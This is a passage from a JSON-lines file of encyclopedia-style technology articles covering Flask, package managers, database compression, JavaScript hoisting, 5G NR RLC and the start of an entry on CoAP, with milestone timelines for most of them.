include Pinterest, Twilio and LinkedIn. \n\n\n### What are some popular extensions used along with Flask?\n\nFlask can be used to implement an Model-View-Controller (MVC) pattern of web framework: Flask (controller), SQLite (model), Bootstrap (view). Jinja2 is popular for rendering HTML templates and is part of the view. Flask can be used with front-end frameworks such as VueJS but you would have to learn JavaScript.\n\nThese are some commonly used extensions:\n\n    + Flask-Cors: A Flask extension for handling Cross-Origin Resource Sharing (CORS), making cross-origin AJAX possible.\n    + Flask-User: Customizable user authentication, user management, password recovery, and more.\n    + Flask-PyMongo: This bridges Flask and PyMongo. Provides some convenient helpers. PyMongo is a MongoDB driver.\n    + Flask-SQLAlchemy: Database abstraction layer and Object Relational Mapper (ORM) popular for Flask apps.\n\n### How do I deploy a Flask application to production?\n\nFlask comes with a simple built-in server. This runs on the default port 5000. This is commonly used for development but not recommended for production because it doesn't scale well. \n\nFor production, many cloud providers document procedures on how to deploy Flask on their platforms. If you wish to deploy Flask on your own, `mod_wsgi` is an essential module for Apache server. If Nginx server is used, it will typically serve static files and the rest will be handed over to Gunicorn server, which becomes the WSGI entry point for the Flask application. In fact, Nginx can reverse proxy a HTTP request to any WSGI-compliant server including Apache, Gunicorn or uWSGI. \n\n## Milestones\n\n2004\n\nPocco is formed as an international group of Python Enthusiasts. \n\nApr  \n2010\n\nCoders from Pocco release version 0.1 of Flask.  Flask is really a combination of two other projects developed at Pocco: Werkzeug (a web programming toolkit) and Jinja2 (a templating engine). It's initially called Denied–The next generation micro-web-framework.\n\nSep  \n2016\n\nHarvard's popular *CS50: Introduction to Computer Science* course incorporates Flask to teach web development, thus shifting focus from PHP to Python. It becomes available on edX as CS50x from 2017.\n\nApr  \n2018\n\nFlask 1.0 is launched. Python versions 2.7 and 3.3 are no longer supported. Thus, Flask requires Python 2.7, Python 3.4 and above, or PyPy. \n\nMay  \n2018\n\nFlask 1.0.2 is released.","meta":{"title":"Flask","href":"flask"}}
{"text":"# Package Manager\n\n## Summary\n\n\nPackage Managers are used to automate the process of installing, upgrading, configuring, and removing programs. There are many package managers today for Unix/Linux-based systems. By mid-2010s, package managers made their way to Windows as well. Package managers are also used for installing and managing modules for languages such as Python, Ruby, etc. \n\nA package is simply an archive that contains binaries of software, configuration files, and information about dependencies. \n\nThe general workflow starts with the user requesting a package using the package manager (PM) available in the system. The PM then finds the requested package from a known location and downloads it. The PM then installs the package and advises on any manual steps that it finds necessary.\n\n## Discussion\n\n### Why is the package manager required in the first place?\n\nUnix began its journey by being a programmer's OS. This means that every time a new program was written it had to be compiled, linked and run.\n\nUnix got the ability to use libraries (\"shared objects\"), ELF executables, etc. To solve the task of building more complicated software easily, *make* was developed. Source code was getting shipped with a *Makefile* (the file that's used by *make*). But it was still a laborious task as the developer or the maintainer had to take care of the dependencies. \n\nInstead of running `make` commands every time on every machine having the same configuration, it was thought that we can have a package manager to ship the executable and also the dependencies to other machines. Hence, the earliest PMs started evolving with this idea. \n\nToday's Linux distributions contain thousands of packages. This has come about due to its modular design, code reuse, and collaborative code creation. However, there's a trade-off between code reuse and incompatible dependencies. Package managers solve this complexity by streamlining the process.\n\n\n### What are the basic functions of a package manager?\n\nThe basic functions of the PM are the following: \n\n    + Working with file archivers to extract package archives\n    + Ensuring the integrity and authenticity of the package by verifying their digital certificates and checksums\n    + Looking up, downloading, installing or updating existing software from a software repository or app store\n    + Grouping packages by function to reduce user confusion\n    + Managing dependencies to ensure a package is installed with all packages it requires, thus avoiding *dependency hell*The user interface of a PM may be a command line, a graphical interface, or both. Often users can search for packages by name or category. Some even show user reviews or ratings of packages. Batch installation is also possible with PM. Some may support \"safe upgrading\" (retain existing versions) or \"holding\" (lock package to a specific version). \n\n\n### What exactly is Dependency Hell?\n\nDependency Hell is colloquial term that developers use to indicate their frustration in managing complex inter-dependencies among packages. In Windows, the equivalent term could be *DLL Hell*. \n\nWhen a package depends on another package as a prerequisite, it will either not install or work incorrectly if the latter is missing or incorrectly set up. A developer may attempt to install the dependency, which in turn may depend on yet more packages. This could quickly become unmanageable if the developer tries to install all these dependencies manually. \n\nIt could also happen that a dependent package is installed but it's of an older incompatible version. Two packages A and B might require different versions of package C. This could be a problem if only one version can be installed in the system. Circular dependencies could also cause problems. \n\nPackage managers solve this problem by resolving dependencies. Because every package comes with metadata, the PM knows what are the dependencies and what versions of those dependencies ought to be used. Package managers, if properly used, solve the problem of dependency hell.\n\n\n### From where do packages gets downloaded?\n\nPackages gets downloaded from **software repositories**, often simply called **repos**. Alternatives terms include **sources** and **feeds**. These repos are available online at well-defined locations and they serve as a central distribution point for packages.\n\nFor performance and redundancy, these repos may be mirrored by many other locations worldwide. As an example, Cygwin uses mirror sites. Local repos may also mirror remote official repos for saving bandwidth or tighter privacy. Ubuntu's `apt-mirror` provides this feature. \n\nWhile most developers will use these repos to download packages, advanced developers can also contribute or upload packages to be hosted at these repos. All repos publish the process that developers need to follow to upload packages. Official repos have a strict review and approval process. Community-managed repos may have a more relaxed process. In all cases, repositories are meant to be malware free.\n\n\n### How would a package manager know the location of the repository?\n\nEvery package manager has associated configuration files that point to repository locations. For example, in Ubuntu, `/etc/apt/sources.list` contains the locations of repositories. This would include the official repos but users can also update this file for getting packages from other repos. Likewise, configuration for Fedora and CentOS distributions are at `/etc/yum.conf` for YUM and `/etc/dnf/dnf.conf` for DNF. For Arch Linux, it is at `/etc/pacman.conf` when pacman is used. \n\nWhen adding third-party repos to a package manager, users must take care to check that those repos can be trusted. This is important so that you don't end up with a malware infecting your system. In fact, this is one of the problems solved by trusted repos. Instead of downloading software from a third-party website, downloading it via the package manager from a trusted repo is a more secure practice. \n\n\n### What's in a package?\n\nA package includes the concerned software, which may be an application or shared library. If it's a development package, it will include source files (such as header files) to build your software that depends on a library. Packages are meant for specific distributions and therefore installation paths, desktop integration and startup scripts are set up to the targeted distribution. Package formats could include \\*.tgz (for source code archives), \\*.deb (for Debian) or \\*.rpm (for Red Hat). \n\nPackages include metadata as well. This will include summary, description, list of files, version, authorship, targeted architecture, file checksums, licensing, and dependent packages. This metadata is essential for the package manager to do its job correctly. \n\n\n### Could you give examples of Linux package managers?\n\nAll Linux distributions don't use the same package manager. The Debian family, which includes Ubuntu, uses `apt-get` and `dpkg`. Where possible, apt-get should be preferred since it will resolve all dependencies; dpkg doesn't resolve dependencies but it can work directly with \\*.deb files. Also, apt-get invokes dpkg for low-level operations. Other relevant Debian tools are `apt-cache` and `aptitude`. \n\nIn RedHat, Fedora and SUSE distributions, `rpm` is the low-level package manager. Arch Linux uses pacman. Slackware distribution includes `pkgtools` and `slackpkg` but neither of these resolve dependencies. Slackware takes a unique approach. They distribute packages as intended by original creators. They give full control to administrators by not resolving dependencies. \n\nIt's common for distributions to offer graphical interfaces for those users who aren't comfortable with remembering or typing commands. YaST (openSUSE) and Synaptic (Debian) are two examples of GUIs. For those comfortable with commands, look up this handy reference.\n\n\n### Could you give examples of language package managers?\n\nModern languages are delivered as a core part that comes with the default installation plus a wide range of optional packages that can be installed when necessary. Those that manage these add-ons are called *language package managers*. Within the scope of a project or application, the term *dependency manager* is used. The term package manager is used at system/language level whereas dependency manager is used at project level. For example, in PHP, PEAR can be called a package manager while Composer is a dependency manager. \n\nLet's say, you're working on a Python project. This may depend on many other Python packages for correct execution. Moreover, another Python project will have its own dependencies. A dependency manager helps developers manage these dependencies and share their project settings in a consistent manner with others. \n\nHere are some examples, in the format of \"language: (manager, repository)\": \n\n    + Python: (pip, PyPI)\n    + PHP: (Composer, Packagist)\n    + Ruby: (RubyGems, RubyGems), (Bundler, Bundler)\n    + Node.js and JavaScript: (NPM, NPM), (Yarn, (Yarn, NPM))\n    + Web frontend: (Bower, Bower), (Yarn, (Yarn, NPM))\n    + Java: (Maven, Maven), (Gradle, (Ivy, Maven, etc.))\n\n### What package managers are available for MAC?\n\nHomebrew, MacPorts and Fink are just a few examples of package managers for MAC. \n\n\n### Does Windows have a package management system?\n\nIn 2006, Microsoft Vista got a package manager. Years later, there was Windows Update (with Microsoft Store as repo). These were not very useful since they could manage only Microsoft software. For example, they couldn't update your Node.js or Firefox installation. To solve this, third-party package managers are available: Allmyapps, Chocalatey, Intel AppUp, OpenWrap, NPanday, Chewie, Ninite, and Npackd.\n\nIn 2014, Microsoft introduced *OneGet*, which was later renamed to *PackageManagement*. Via the Windows PowerShell interface, this can install and manage even non-Microsoft software. OneGet was available in Windows 8.1 but it's included by default in Windows 10. PackageManagement is able to handle different installer technologies (MSI, MSU, APPX, etc.) and different sources. The default repo used is called PowerShell Gallery. \n\nFor .NET developers, *NuGet* is the package manager to use. In addition, when using Visual Studio Team Services and Team Foundation Server, it's easy for developers to manage NuGet, npm, and Maven packages for their project requirements. \n\n\n### If there are options, how should I choose a package manager?\n\nHere are a few things to consider: \n\n    + **Ease of use**: A graphical interface can be great for beginners. For command-line interface, commands have to be intuitive.\n    + **Features**: Look for more than just managing packages: list available/installed packages, search, filter, remote/local installs, wildcard support, source/binary package support, etc.\n    + **Customization**: Check if it supports customization such as interactive mode to let user decide on the next step during installation.\n    + **Speed**: Faster the better and this might depend on how well caching is done.\n    + **Ease of development**: For package developers, the workflow should be easy including a simple upload to a repository.\n\n\n## Milestones\n\n1978\n\nThe concept of using *make* and *Makefile* is invented in Bell Labs by Stuart Feldman. This simplifies the process of building software. The *make* system can read dependencies and thus lays the conceptual framework for package managers that are to appear years later. \n\n1991\n\nDavid Mackenzie starts work on a tool called *autoconf*. It can look at a system and generate the appropriate configuration/header files and Makefile. These can then be used to build the software. Rather than relying on just versions, it relies on features to check for dependencies. \n\n1992\n\nSome users of TeX (used for typesetting) start working on *Comprehensive TeX Archive Network (CTAN)* for distributing Tex-related material and software. This may be one of the earliest examples of distributing packages over the Internet from a central point. Prior to this, it was common to share software via newsgroups.\n\n1993\n\nFreeBSD 1.0 is released and it comes with what's called *ports tree*, a package building framework that uses *make*. This release includes `pkg_install` and other `pkg_*` tools. In the world of Linux, this is probably the earliest package management system. Support for using remote repos comes in 1999 with version 3.1. \n\n1994\n\nVersion 1.0 of Bogus Linux distribution includes a package manager named *Package Management System (PMS)*. \n\n1995\n\nRedHat's well-known *RedHat Package Manager (RPM)* is released with version 2.0 of the distribution. The same year the *Comprehensive Perl Archive Network (CPAN)* is launched as a repository for Perl. \n\n1998\n\nInitial version of Debian's *apt* is released. This is an acronym for *Advanced Packaging Tool*. \n\n2014\n\nWindows introduces *OneGet* that can manage even non-Microsoft software. This later becomes *PackageManagement* and is accessible via the PowerShell interface.","meta":{"title":"Package Manager","href":"package-manager"}}
{"text":"# Database Compression\n\n## Summary\n\n\nDatabase compression is a set of techniques that reorganizes database content to save on physical storage space and improve performance speeds. Compression can be achieved in two primary ways: \n\n* **Lossless**: Original data can be fully reconstructed from the compressed data.\n* **Lossy**: Reduction in data size due to deliberate compromise in quality.\n\nDepending on the nature and extent of redundancy in the data patterns, the compression method might work within a data field, across a row/column of data, across an entire data page or in hierarchical data structures. Compression methods applied for text/primitive data are different from those for audio-video data. \n\nWhile most compression algorithms are open standards, companies like Oracle employ proprietary algorithms too. Run-length encoding, prefix encoding, compression using clustering, sparse matrices, dictionary encoding are all popular standard compression techniques used in database applications.\n\n## Discussion\n\n### What are the benefits of database compression?\n\n    + **Size** - The most obvious reason for database compression is reduction in the overall database storage footprint of the organization. It applies relational (tables), unstructured (files), indices, data transfer over the network and backup data. Depending on the data cardinality (extent of repetition in data values), compression can reduce storage consumption from 60% to as low as 20% of the original space. Sparsely populated tables (lots of zeros, spaces in data) compress much better.\n    + **Speed** – DB Read operations become much faster (up to 10X) as smaller amounts of physical data need to be moved from disk to memory. However, performance of write operations is marginally affected as there is an extra step of decompression involved.\n    + **Resource Utilization** - More data will fit into a page in the disk, in memory or in the buffer pool, thereby minimizing I/O costs. Because I/O occurs at the page level, a single I/O will retrieve more data. This increases the likelihood that data resides in the cache because more rows fit on a physical page. Compression also results in massive reduction in backup/restore times.\n\n### What are the disadvantages of database compression? When should we avoid it?\n\nMost compression algorithms build an internal encoding dictionary to manage the compression keywords. **When database size is small**, compressed files might be larger than uncompressed files due to additional dictionary creation.\n\nFor any DB, **compression and decompression is a task overhead** above its regular DML/DDL operations. It consumes additional CPU/memory. So compression must be attempted only when the gain in CPU/memory due to optimised page reads is much larger than the compression overhead.\n\nWhile compression might happen in parallel as a background task, **decompression introduces client-side latency** as it happens in the foreground after a client query. However, commercial databases like Oracle support advanced compression techniques where DB read can happen without decompression. \n\nCompression is not recommended **when the cardinality of data is poor**. For numerical data and non-repetitive strings, don't compress your data. For data types like `BLOB` data (images, audio), depending on the compression algorithm, storage size can either reduce or increase. \n\nIn summary, it's important to estimate likely storage and performance benefits for any algorithm before implementing on live databases.\n\n\n### What's the effect of compression on common data types?\n\nCompression is a DDL function that can be selectively applied to tables, indexes or partitions with `CREATE`, `ALTER` and `BACKUP` commands.\n\nData compression applies to these database objects – heaps, clustered indexes, non-clustered indexes, partitions, indexed views. \n\nRow-level compression converts fixed length data types into variable length types. Fields created as fixed length types, such as `char 100`, might not fill the entire 100 characters for every record. So this works well for fixed length text and numeric fields (`char`, `int`, `float`). For example, storing 23 in an `int` column will require just 1 byte when compressed instead of the entire 4 bytes allocated. No space is consumed for NULL or 0 values.\n\nPage compression is more advanced. It internally invokes row compression. Commonality in page data is extracted and encoded, one column at a time or all columns together. Actual data is then replaced by the codes. Large objects are not directly compressed. Instead they are stored in a separate page for direct retrieval (`LOB` or `BLOB` types). \n\nUnicode values are compressed into 2 bytes, regardless of locale. This results in nearly 50% savings for most locales. \n\n\n### What are some popular database compression techniques?\n\nDatabases avoid lossy compression at the backend. However, applications might accept a lower quality using lossy techniques, especially for images, audio, videos. \n\nAmong lossless techniques, all compressed data is stored in binary. **Run-Length Encoding** is the simplest. In this technique, sequential data is scanned for repeated symbols, such as pixels in an image and replaced by short codes called \"run\". For a gray scale image, run length code is represented by `{Si, Ci}`, where `Si` is the symbol or intensity of pixels and `Ci` is the count or the number of repetitions of `Si`. \n\n**Prefix encoding** is another basic technique that works well only on homogeneous data. The first part of the data fields are matched for commonality, not the entire field. Hence, the name 'prefix' encoding. \n\n**Dictionary compression** is another page-level technique where common codes are consolidated into a dictionary and stored under the header row. The algorithm calculates the number of bits (X) needed to encode a single attribute of the column from unique attribute values. It then calculates how many of these X-bit encoded values can fit into 1, 2, 3, or 4 bytes. \n\n\n### How does database compression vary from generic data compression techniques?\n\nData compression applies to within a field, how size of a single data item can be minimised. Here both lossless and lossy techniques are popular. On the other hand, database compression is an aggregate technique. It aims to compress data across values in a row, column or page. Along with applying compression at DB level, it's quite common to apply data compression at field level too.\n\nIn image compression, for example, a lossy BMP-to-JPG conversion is done using sampling and quantisation at field level. Then, BLOB data fields might be compressed at DB level using lossless methods. \n\nWhile NULL value cannot be further compressed individually, when a series of NULL values occur in a DB, compression techniques such as the Sparse Column can optimise storage of the NULLs collectively. \n\nDatabase compression techniques not only compress actual data, they also act on derived entities like indices, views, clusters and heaps. However, for derived entities like indices, there's a small CPU overhead to reconstruct the key column values during index lookup or scans. This can be minimized by keeping the prefixes locally in the block. \n\n\n### How do compression techniques compare between relational and hierarchical databases?\n\nThere is no major variation in the compression algorithms applied on relational and hierarchical DBs. It's just a difference in nomenclature. Hierarchical DBs have segments similar to tables in RDBMS. And fields in the segment compare with columns.\n\nHowever, in hierarchical databases, segments are implicitly joined with each other. Because of this, I/O paging process would vary, so algorithms must consider the page sizes. \n\n\n### How do large-scale software applications handle database compression?\n\nFacebook uses a real-time compression algorithm **Zstandard** with super fast decoders plus a dictionary compression for small data. \n\nGoogle uses **Snappy**, a high speed compressor algorithm in their BigTable and MapReduce systems. \n\nCommercial DBMS like SQL Server use row, column and page level compression. SQL Server uses a proprietary **XPRESS** algorithm for backup compression. \n\nOracle uses an internal compression technique called **Oracle Advanced Compression**. \n\nOpen source MySQL uses **LZ77** algorithm for its InnoDB table compressions. \n\n## Milestones\n\n1940\n\nAs early as the 1940s, **Information Theory** establishes the theoretical background behind lossless and lossy compression. \n\n1970\n\nIn the 1970s, major relational databases–Ingres, MS SQL Server and Sybase–enter the commercial market. The support primitive **keyword-based compression** techniques built into their systems. \n\n1977\n\nThe **LZ77** lossless compression algorithm, as the name suggests, is released. This forms the basis of compression schemes for PNG and ZIP formats. Implementations of the algorithm spread across most commercial databases. Compression in MySQL uses LZ77 via the zlib library. \n\n2007\n\nOracle Database 11g Release 1 introduces OLTP Table compression, now called **Advanced Row Compression**, which maintains compression during all types of data manipulation operations. Oracle has been implementing compression techniques in their DBs from much earlier. But after acquisition of Sun, the techniques become more robust and hardware integrated. \n\n2013\n\nDesigned for the cloud, Oracle releases Oracle Database 12c. It includes compression methods used in earlier Oracle Database 11g release and adds new ones: heat map, automatic data optimization, temporal optimization, hybrid columnar compression. **Heat map** method monitors data usage and selects the most suitable compression method.","meta":{"title":"Database Compression","href":"database-compression"}}
{"text":"# Hoisting\n\n## Summary\n\n\nIn many languages, variables and functions have to be declared upfront before they can be used later in code. Attempting to use them before declaration would result in an error. \n\nIn JavaScript, it's possible to use variables and functions before they're explicitly declared later in code. This feature of JavaScript is called **Hoisting**. In a sense, the declarations are \"hoisted\" to the top of the code. \n\nWhile hoisting is a useful feature, in the interest of code readability and maintenance, it's perhaps a good practice to put declarations before they're used.\n\n## Discussion\n\n### Could you illustrate hoisting with an example?\n\nIn the code `console.log(x); var x = 1;`, the variable `x` is used before it's declared. JavaScript allows this because of hoisting. \n\nHoisting is also possible for functions. In the code `add(3, 4); function add(a, b) { return a + b; }`, the function `add()` is called before it's declared. Again, this is possible due to hoisting. \n\nHoisting can occur in any execution context. JavaScript has three types of execution contexts: global, function, and eval. \n\n\n### Is hoisting moving a declaration to the top of the scope?\n\nOne common (and incorrect) explanation of hoisting is that the JavaScript engine moves variable and function declarations to the top of their scope. Variable declarations are initialized with value `undefined`. In reality, the JavaScript engine doesn't move code to the top this way. \n\nThe correct explanation lies in understanding **execution context**. This is the environment in which the code runs. Such an environment encapsulates `this`, variables, objects and functions that are accessible. Execution context is created in two phases: creation phase and execution phase. \n\nDuring the creation phase, memory is allocated for variables and functions in that scope. The entire function body is in memory but it's not executed. Likewise, variables become available in memory but are not initialized. It's only later, during the execution phase, that initializing variables and calling of functions happen.  \n\n\n### What can be hoisted?\n\nVariables and functions are hoisted. Functions can be called earlier in the code even if their declarations happen later. It's interesting to note that if a variable and a function have the same name (a practice that should be discouraged), variable initialization takes precedence over function declaration. If the variable in uninitialized, function declaration takes precedence. \n\nFunction expressions are not hoisted. Function expressions take the form `var a = function () {...}`. Variable `a` is hoisted, which means that it's initialized to `undefined`. Thus, we can't make the call `a()` since the variable is not initialized with the function object. Similarly, arrow functions, which are of the form `var a = () => ...`, are not hoisted. \n\nClass declarations are \"hoisted\" only in the sense that memory is allocated but not initialized with the class object. With class expressions, the variable is hoisted but it's initialized to `undefined`. For example, `var Square = new Polygon(); var Polygon = class { ... }` won't work because `Polygon` is `undefined`. This effectively means that we can't instantiate objects without putting the declaration first. \n\n\n### Could you share more details on hoisting variables?\n\nJavaScript has this default behaviour that a variable initialized without a declaration is automatically declared with global scope. This happens during the execution phase of execution context, not during the creation phase. Therefore, such variables are not hoisted. Hoisting applies only to explicitly declared variables. For example, hoisting works for `console.log(a); var a = 1;` but not for `console.log(b); b = 1;`. For this reason, it's recommended to explicitly declare variables. \n\nVariables declared with keywords `let` or `const` are \"hoisted\" in the sense that memory is allocated during the creation phase of execution context. Thus, during execution phase, JavaScript engine won't complain that they're undefined. However, the engine will still throw a reference error when the code attempts to use them before they're properly initialized. Unlike the `var` keyword, `let` and `const` keywords don't initialize variables with `undefined`. The solution is therefore to declare before using such variables. Hoisting is not useful for `let` and `const`.\n\n## Milestones\n\n1995\n\n**JavaScript** is announced as a dynamic scripting language that can run within a web browser. Two years later, a more standardized form of JavaScript, called **ECMAScript** is published by ECMA International. \n\nOct  \n2010\n\nA video on YouTube explains JavaScript hoisting with examples. This shows that the term \"hoisting\" is in use by 2010, if not earlier. \n\nJun  \n2015\n\nECMA International releases *ECMAScript® 2015 Language Specification*. This specification uses the term \"hoisting\". It's said that prior standards didn't use the term explicitly. Hoisting provides us a metaphor to think about execution contexts.","meta":{"title":"Hoisting","href":"hoisting"}}
{"text":"# 5G NR RLC\n\n## Summary\n\n\nThe **Radio Link Control (RLC)** sublayer of 5G NR protocol stack interfaces to PDCP sublayer from above and MAC sublayer from below. It interfaces to PDCP via RLC channels and to MAC via logical channels. There's a one-to-one mapping: RLC SDUs belonging to an RLC channel are mapped to a single logical channel. \n\nAn RLC entity in a 5G UE has its peer RLC entity in the gNB, or other UEs in the case of NR sidelink communication. An RLC entity can be configured in one of three transmission modes: Transparent Mode (TM), Unacknowledged Mode (UM) and Acknowledged Mode (AM). Each mode supports a set of functions. Mode is configured by RRC and depends on the higher layer service requirements.\n\n## Discussion\n\n### What's the architecture of 5G NR RLC sublayer?\n\nThe RLC sublayer can have multiple RLC entities. Each entity is of a specific mode. In the transmit direction, an RLC entity receives RLC SDUs from PDCP on an RLC channel and sends out RLC PDUs to MAC on a logical channel. An RLC PDU contains RLC header plus RLC SDU, but header is absent in TM. \n\nTM and UM RLC entities are configured as either transmitting or receiving. AM RLC entity has both transmit and receive functionality. Thus, TM and UM RLC entities are **unidirectional** whereas AM RLC entity is **bidirectional**. \n\nA single RLC entity is mapped to a single PDCP entity. But a single PDCP entity can send its PDUs to a maximum of eight RLC entities. For example, a bidirectional PDCP entity is mapped to two UM RLC entities, one for transmit and one for receive. Dual Connectivity (DC), Dual Active Protocol Stack (DAPS) and PDCP duplication are scenarios where a PDCP entity maps to more than one RLC entity. \n\nFor Integrated Access and Backhaul (IAB), RLC's upper layer is Backhaul Adaptation Protocol (BAP) sublayer, not discussed here. \n\n\n### Which logical channels are carried by each RLC transmission mode?\n\nLogical channels BCCH, SBCCH, PCCH, and DL/UL CCCH are carried in **TM**. These correspond to system broadcast, sidelink broadcast, paging and SRB0 signalling.  \n\nIn **UM**, applicable logical channels are DL/UL DTCH, SCCH and STCH. \n\nSignalling other than SRB0 goes in **AM**. The corresponding logical channel is DL/UL DCCH. User plane traffic on DL/UL DTCH is also carried in this mode. Sidelink logical channels SCCH and STCH can go in AM. \n\nThus, Signalling Radio Bearers (SRBs) are mapped to either TM (SRB0) or AM (non-SRB0). Data Radio Bearers (DRBs) are mapped to either UM or AM, which is configured via RRC signalling.\n\n\n### What are the main functions of 5G NR RLC?\n\nAll three modes can **transfer upper layer PDUs**. \n\nTM RLC entity is the simplest. It doesn't add any header or segment RLC SDUs. An RLC PDU is simply an RLC SDU. \n\nUM RLC entity **segments** RLC SDUs and adds a header to each RLC PDU. In the receive direction, the entity **reassembles** the segments and delivers a complete RLC SDU to upper layer. The receiving entity may **discard** RLC segments and SDUs based on sequence number (SN), reassembly window size and reassembly timer. \n\nAM RLC entity has the important feature of **error correction through ARQ**. The receiving entity sends feedback on STATUS PDUs. This tells the transmitting entity to retransmit PDUs not correctly received. Thus, bidirectional transfer capability, acknowledgments and retransmission distinguish AM RLC entity. It can **detect and discard duplicate PDUs**. It supports segmentation, reassembly and discard functionalities, similar to UM RLC entity. In addition, AM RLC entity can **re-segment** previously lost or erroneous segments before retransmitting them. \n\n\n### What are data PDUs and control PDUs in 5G NR RLC?\n\n**RLC data PDUs** carry upper layer PDUs. These are named TMD PDU, UMD PDU and AMD PDU for the respective TM, UM and AM entities. Apart from actual data traffic (DTCH or STCH), these PDUs may be carrying control information from upper layers. For example, all RRC signalling on SRBs are treated as data at RLC sublayer.\n\n**RLC control PDUs** are control information generated and consumed at RLC. These are applicable only for AM RLC entities. In Release 15 and 16, the only such PDU is the *STATUS PDU*. It's sent by the receiving side of an AM RLC entity to inform the sending side about correctly received or lost RLC PDUs. Via a feature call **polling**, indicated via the RLC header, the transmitting side can request the receiving side to send a STATUS PDU. \n\nControl PDUs are sent on the same logical channels as the data PDUs of that AM RLC entity. \n\n\n### Could you describe the main procedures in 5G NR RLC?\n\n**RLC entity procedures** include RLC establishment, re-establishment and release. These are applicable to all transmission modes, though the details vary. When a new radio bearer is configured, RLC establishment happens. RLC re-establishment is initiated by upper layers to recover from errors. In this procedure, timers are stopped and reset; state variables are reinitialized; RLC SDUs, segments and PDUs are discarded. RLC release procedure happens when the RLC entity is no longer needed. \n\n**Data transfer procedures** include specific transmit and receive procedures for TM, UM and AM entities. This includes segmentation and reassembly; handling of sequence numbers, window sizes and timers; interfacing to PDCP and MAC; and more. \n\n**SDU discard** procedure allows a higher layer to request UM or AM RLC entities to discard a particular RLC SDU, provided the SDU or its segment has not yet been submitted to MAC. \n\n**Data volume calculation** is done at RLC for MAC to send Buffer Status Reports (BSRs). This calculation includes RLC SDUs and segments not yet part of RLC PDUs, RLC data PDUs (initial or retransmit) and the STATUS PDU. \n\n\n### How is 5G NR RLC different from LTE RLC?\n\n**Concatenation** is when multiple RLC SDUs can be packed into a single RLC PDU. Segmentation is when an RLC SDU is segmented and sent on multiple RLC PDUs. LTE RLC can do both concatenation and segmentation whereas 5G NR RLC is allowed to do only segmentation. \n\nThis design change relates to how 5G NR RLC sends its PDUs to MAC. LTE RLC concatenates SDUs and sends a single PDU to MAC per Transmission Time Interval (TTI). 5G NR RLC can send multiple PDUs to MAC in any given TTI. 5G NR MAC packs them into a single MAC PDU for transmission. This improves latency since RLC can prepare its PDUs in advance even before MAC informs how many bytes can be sent. \n\nThe other difference is that LTE RLC does **in-sequence delivery** of upper layer SDUs. This is not required of 5G NR RLC. For improved latency, an RLC SDU can be delivered as soon as it's received. Any ordering that may be required is the role of PDCP. \n\n\n### What RLC parameters are configured by 5G NR RRC?\n\nRLC configuration is **per logical channel**. It's independent of numerologies or transmission durations. RRC provides the mapping between logical channel identify, radio bearer identity and RLC configuration.  \n\nFor TM, there's no configuration required from RRC. \n\nSequence number field in RLC header can be 6 or 12 bits for UM, and 12 or 18 bits for AM. For SRBs other than SRB0, AM uses 12-bit SN. For groupcast and broadcast in sidelink, UM uses 6-bit SN. \n\nReassembly timer is also configured for UM and AM. RRC signalling between UE and gNB defines this only for DL UM and AM. For UL UM and AM, this timer is known within the gNB. \n\nAdditional parameters configured for AM include poll retransmit timer, status prohibit timer, pollPDU, pollByte, and maxRetxThreshold. Polling parameters and maxRetxThreshold are on the transmit side of the AM RLC entity. Status prohibit timer is on the receive side. \n\n## Milestones\n\nApr  \n2017\n\nAn early draft of 5G NR RLC specification **TS 38.322** is released. This evolves to version 1.0.0 by September. \n\nDec  \n2017\n\n3GPP publishes **Release 15** \"early drop\". RLC specification TS 38.322 is updated to version 15.0.0. \n\nMar  \n2020\n\nAs part of Release 16, TS 38.322 version 16.0.0, RLC specification is updated for **V2X sidelink communication**.  \n\nJul  \n2020\n\n3GPP publishes Release 16 specifications. RLC specification is TS 38.322 version 16.1.0. For AM, poll retransmit timer and status prohibit timer are updated to include **low timer values** of 1ms, 2ms, 3ms and 4ms.","meta":{"title":"5G NR RLC","href":"5g-nr-rlc"}}
{"text":"# Constrained Application Protocol\n\n## Summary\n\n\nHTTP is a widely used web protocol but it's not suited for the Internet-of-Things (IoT). IoT is composed of constrained nodes running on 8-bit microcontrollers with small amounts of ROM and RAM. IoT networks have low bandwidth and low availability. *IPv6 over Low-Power Wireless Personal Area Networks (6LoWPANs)*, used in IoT, often have high packet error rates and a typical throughput of tens of kilobits per second. Given these constraints, IETF's *CoRE (Constrained RESTful Environments)* Working Group defined **Constrained Application Protocol (CoAP)**. \n\nWhereas HTTP packets might take up thousands of bytes, CoAP packets are only tens of bytes. CoAP handshaking is also lighter since it uses UDP instead of TCP. CoAP focuses on being lightweight and cost effective. It supports networks with billions of nodes. CoAP uses the *REST (Representational State Transfer)* architectural style.\n\n## Discussion\n\n### What are the main features of CoAP?\n\nSince IoT uses the internet, CoAP has been designed very much in the spirit of HTTP that powers the internet. Like HTTP, CoAP is a document transfer protocol. A client requests a resource at a URI (Uniform Resource Identifier) and the server responds. Moreover, RESTful principles are followed; verbs GET, POST, PUT, DELETE are used. Protocol is indicated with `coap://`. \n\nWhere CoAP differs from HTTP is that UDP is used for transport instead of TCP. UDP handshaking is lighter and easier to implement on microcontrollers. CoAP header is only 4 bytes. CoAP can also use UDP's broadcast and multicast features. CoAP communication is using connectionless datagrams. Because datagrams are used, SMS and other packet-based protocols may be used. CoAP uses a subset of MIME types and HTTP response codes. There's also a built-in discovery mechanism. For security, *Datagram TLS (DTLS)* is used.\n\nSince there's no TCP, CoAP takes care of message acknowledgements, retries with congestion control and duplicate detection. To keep things simple, these features are optional. \n\n\n### Could you describe the architecture of CoAP?\n\nThe CoAP protocol is closely aligned to the traditional web stack based on HTTP. UDP is used instead of TCP at the transport layer. CoAP uses binary encoding unlike the textual encoding of HTTP but otherwise both are based on RESTful APIs and request-response method. This one-to-one mapping between the two stacks makes it possible to interwork the two protocols via a proxy. Within the constrained network, CoAP is used but elsewhere CoAP messages can be translated into HTTP. Such proxies may reside in the edge of a cloud. It's also possible to bypass such a proxy and deploy CoAP end to end if cloud platforms support this.\n\nWe can also think of CoAP as being composed of two logical sub-layers: a lower messaging layer to deal with UDP and asynchronous interactions; an upper request/response layer that deals with the semantics using message codes and response codes. \n\n\n### What's a typical message flow in CoAP?\n\nIt may be tempting to think of sensor nodes as CoAP clients but in fact they are typically CoAP servers. But they could also be CoAP clients consuming information available at other devices on the network. In a typical CoAP flow, clients discover resources available at the server by asking for URI path `GET /.well-known/core`. Server will reply with content of type `application/link-format`. Now that the client knows what resources are available, it can request the content of a specific resource (such as temperature) by calling `GET /temperature`. Server will respond with the value of that resource. \n\nCoAP specifies four message types: Confirmable (CON), Non-confirmable (NON), Acknowledgement (ACK), and Reset (RST). Requests and responses are carried as part of these message types. If reliable transmission is required, CON and 